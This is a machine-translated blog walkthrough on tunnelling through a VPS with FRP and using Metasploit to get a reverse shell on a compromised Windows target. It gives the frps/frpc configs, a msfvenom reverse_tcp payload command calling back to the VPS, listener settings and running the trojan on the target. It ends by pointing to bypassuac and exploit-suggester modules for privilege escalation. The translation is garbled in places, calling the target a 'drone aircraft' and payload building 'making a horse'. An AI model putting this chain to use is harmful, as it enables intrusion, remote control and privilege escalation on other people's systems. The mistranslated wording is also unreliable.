当前位置:网站首页>FRP reverse proxy +msf get shell
FRP reverse proxy +msf get shell
2022-07-03 00:15:00 【Lomi only bear】
0x00: brief introduction frp Is a reverse proxy tool . You can easily penetrate the intranet . Provide services to the Internet ,frp Support tcp agreement , http agreement , https Equal agreement type , also web Service supports routing and forwarding based on domain name .
0x01: Environmental accountability
Drone aircraft :x.x.174.171( Hereinafter referred to as target )
kali:192.168.1.106( Hereinafter referred to as kali)
vps:x.x.193.94( Hereinafter referred to as vps)
Obtained in the target webshell
0x02: Start reverse
One 、 stay vps Downloading in frp And edit frps.ini
vim frps.ini
#frp Connection port between server and client ,frps and frpc It has to be consistent bind_port = 7000
start-up frps:./frps -c ./frps.ini
Two 、 stay kali Downloading in frp And edit frpc.ini
vim frpc.ini
[common] server_addr = x.x.193.94 server_port = 7000 #frpc Work port , Must match the above frps bring into correspondence with [msf] type = tcp local_ip = 127.0.0.1 local_port = 5555 # Forward to this machine 5555 remote_port = 6000 # The service side with 6000 Port forward to local
start-up frpc:./frpc -c ./frpc.ini
here frp The reverse proxy is finished , Let's start with MSF Horse making and setting monitoring .
3、 ... and 、MSF Make a horse
msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.193.94 lport=6000 -f exe x>i.exe
Notice here :
lport The port of is you frpc.ini Inside remote_port = 6000 port
Four 、 Set listening 、 perform msf Horse
Notice here :
set lhost 127.0.0.1 # Set listening ip, It has to be with frpc Medium local_ip Agreement set lport 5555 # Set listening port , And frpc Medium local_port Agreement
Go to the target plane to execute i.exe
Observe vps Upper frp
Observe local kali
Obtained shell
tips: Built-in module Local Exploit Suggester. This module can help us identify which vulnerabilities in the system can be exploited , And provide us with the most suitable exp, Through this exp We can further raise our rights .
My most commonly used bypassuac modular
exploit/windows/local/bypassuac
边栏推荐
- What are the recommended thesis translation software?
- ArrayList analysis 2: pits in ITR, listiterator, and sublist
- Digital twin visualization solution digital twin visualization 3D platform
- 判断二叉树是否为满二叉树
- Dishes launcher small green program and directory management (efficiency tool)
- Bean load control
- 67页新型智慧城市整体规划建设方案(附下载)
- TypeError: Cannot read properties of undefined (reading ***)
- Codeforces Round #771 (Div. 2)---A-D
- Happy Lantern Festival, how many of these technical lantern riddles can you guess correctly?
猜你喜欢
![[shutter] open the third-party shutter project](/img/1a/e35d0180612d7e79b55e7818193740.jpg)
[shutter] open the third-party shutter project

论文的英文文献在哪找(除了知网)?

Bean load control

Master the development of facial expression recognition based on deep learning (based on paddlepaddle)

Pytorch里面多任务Loss是加起来还是分别backward?

What is the official website address of e-mail? Explanation of the login entry of the official website address of enterprise e-mail

How much do you know about synchronized?

Interpretation of new plug-ins | how to enhance authentication capability with forward auth

sysdig分析容器系统调用

Should you study kubernetes?
随机推荐
Additional: token; (don't read until you finish writing...)
Which software can translate an English paper in its entirety?
A single element in an ordered array -- Valentine's Day mental problems
容器运行时分析
collections. What is the purpose of chainmap- What is the purpose of collections. ChainMap?
接口差异测试——Diffy工具
MFC file operation
Practical series - free commercial video material library
Returns the size of the largest binary search subtree in a binary tree
Linux 下安装 redis
开发知识点
Custom throttling function six steps to deal with complex requirements
Unique line of "Gelu"
[OJ] intersection of two arrays (set, hash mapping...)
Bigder:32/100 测试发现的bug开发认为不是bug怎么处理
秒杀系统设计
Open Source | Wenxin Big Model Ernie Tiny Lightweight Technology, Accurate and Fast, full Open Effect
[shutter] shutter open source project reference
Use of cocospods
How do educators find foreign language references?